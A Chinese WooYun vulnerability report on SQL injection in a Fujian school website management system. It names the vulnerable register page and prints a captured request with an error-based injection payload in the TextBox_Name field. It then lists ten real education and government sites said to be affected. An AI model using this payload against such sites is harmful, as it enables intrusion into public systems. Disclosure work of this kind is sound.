WooYun.org

影响福建很多学校啊。
有人提交过的啊， WooYun: 某通用型校园网站管理系统存在SQL注射

厂商名称：福建闽教电脑多媒体有限公司
官网：http://www.minjiao.com/
产品名称：校园网站管理系统

漏洞文件：web/web_programs_dotnet/SchoolFellow/register.aspx
抓包：

__VIEWSTATE=dDwtNzk0NjY3Njc7dDw7bDxpPDE%2BOz47bDx0PDtsPGk8OT47PjtsPHQ8dDw7dDxpPDI%2BO0A855S3O%2BWlszs%2BO0A855S3O%2BWlszs%2BPjs%2BOzs%2BOz4%2BOz4%2BOz6iE1O5O%2FkxSlD1BJY3GQEFZjebDA%3D%3D&__VIEWSTATEGENERATOR=7229FD2B&TextBox_Name=111%27+and+1%3D%40%40version+and+%271%27%3D%271&TextBox_PassWord1=111&TextBox_PassWord2=111&Textbox_ClassName=&ListBox_Sex=%C4%D0&TextBox_Phone=&TextBox_MobilePhone=&TextBox_Company=&TextBox_Address=&Button_Submit=%CC%E1%BD%BB

TextBox_Name参数没有过滤直接带入查询

相关案例：
实例地址：
http://web.ptjy.com/web/web_programs_dotnet/member/ 莆田教育网
http://www.zzyxjy.com/Web/Web_Programs_DotNet/Member/ 云霄教育网
http://school.mwedu.gov.cn/web/web_programs_dotnet/Member/ 马尾教育信息网
http://school.gledu.gov.cn/web/web_programs_dotnet/Member/ 鼓楼教育信息网
http://school.zzlwjy.com/web/web_programs_dotnet/member/ 龙文教育信息网
http://school.fjhajy.net/web/web_programs_dotnet/member/ 华安教育信息网
http://schoolweb.ctjy.net/web/web_programs_dotnet/member/ 长泰教育网
http://school.fjjyjy.net/web/web_programs_dotnet/member/ 建阳教育信息网
http://www.ptedu.gov.cn/web/web_programs_dotnet/member/ 平潭教育局
www.qledu.gov.cn/web/web_programs_dotnet/Member/ 清流县教育网